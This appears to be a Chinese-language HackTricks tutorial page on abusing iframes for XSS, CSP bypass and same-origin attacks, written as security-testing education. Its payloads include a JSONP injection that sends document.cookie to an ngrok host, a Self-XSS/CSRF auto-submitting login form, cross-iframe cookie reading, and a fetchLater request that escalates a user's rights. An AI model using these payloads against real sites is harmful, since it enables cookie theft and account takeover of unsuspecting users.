Iframes in XSS, CSP and SOP

Reading time: 10 minutes

tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Iframes in XSS

有三种方式来指示一个 iframe 页面内容：

  • 通过 src 指定一个 URL（该 URL 可以是跨源或同源）
  • 通过 src 使用 data: 协议指示内容
  • 通过 srcdoc 指示内容

访问父变量和子变量

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

如果您通过 HTTP 服务器（如 python3 -m http.server）访问之前的 HTML，您会注意到所有脚本都会被执行（因为没有 CSP 阻止它）。父级将无法访问任何 iframe 内部的 secret 变量，只有 if2 和 if3（被视为同源）可以访问原始窗口中的 secret。
请注意 if4 被认为具有 null 来源。

带 CSP 的 Iframes

tip

请注意，在以下绕过中，响应的 iframed 页面不包含任何阻止 JS 执行的 CSP 头。

script-src 的 self 值将不允许使用 data: 协议或 srcdoc 属性执行 JS 代码。
然而，即使 CSP 的 none 值也将允许执行在 src 属性中放置 URL（完整或仅路径）的 iframes。
因此，可以通过以下方式绕过页面的 CSP：

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

注意，之前的 CSP 仅允许执行内联脚本。
然而，只有 if1 和 if2 脚本将被执行，但只有 if1 能够访问父级秘密。

因此，如果您可以将 JS 文件上传到服务器并通过 iframe 加载，即使 script-src 'none'，也有可能绕过 CSP。这也可能通过滥用同站 JSONP 端点来实现。

您可以通过以下场景进行测试，即使在 script-src 'none' 的情况下也会窃取 cookie。只需运行应用程序并使用浏览器访问它：

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

在野外发现的其他有效载荷

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

iframe 内的内容可以通过使用 sandbox 属性受到额外的限制。默认情况下，此属性不适用，这意味着没有限制。

当使用时，sandbox 属性施加了几个限制：

  • 内容被视为来自一个独特的源。
  • 任何提交表单的尝试都被阻止。
  • 禁止执行脚本。
  • 禁用对某些 API 的访问。
  • 防止链接与其他浏览上下文交互。
  • 不允许通过 <embed>、<object>、<applet> 或类似标签使用插件。
  • 防止内容自身导航到其顶级浏览上下文。
  • 自动触发的功能，如视频播放或表单控件的自动聚焦，被阻止。

属性的值可以留空（sandbox=""）以应用上述所有限制。或者，可以设置为一个以空格分隔的特定值列表，以使 iframe 免于某些限制。

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Credentialless iframes

正如在 this article 中所解释的，iframe 中的 credentialless 标志用于在不发送凭据的请求下加载页面，同时保持加载页面在 iframe 中的同源策略 (SOP)。

这允许 iframe 访问来自同一 SOP 中在父页面加载的另一个 iframe 的敏感信息：

javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
  • 利用示例：Self-XSS + CSRF

在此攻击中，攻击者准备了一个包含两个 iframe 的恶意网页：

  • 一个加载受害者页面的 iframe，带有 credentialless 标志，并且有一个触发 XSS 的 CSRF（想象一下用户的用户名中有 Self-XSS）：
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • 另一个 iframe 实际上已经登录用户（没有 credentialless 标志）。

然后，从 XSS 中可以访问另一个 iframe，因为它们具有相同的 SOP，并通过执行来窃取 cookie：

javascript
alert(window.top[1].document.cookie);

fetchLater 攻击

正如这篇文章中所述，API fetchLater 允许配置请求在稍后执行（在一定时间后）。因此，这可以被滥用，例如，在攻击者的会话中登录受害者（使用 Self-XSS），设置一个 fetchLater 请求（例如更改当前用户的密码）并从攻击者的会话中注销。然后，受害者在自己的会话中登录，fetchLater 请求将被执行，将受害者的密码更改为攻击者设置的密码。

这样，即使受害者的 URL 不能在 iframe 中加载（由于 CSP 或其他限制），攻击者仍然可以在受害者的会话中执行请求。

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes 在 SOP 中

检查以下页面：

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks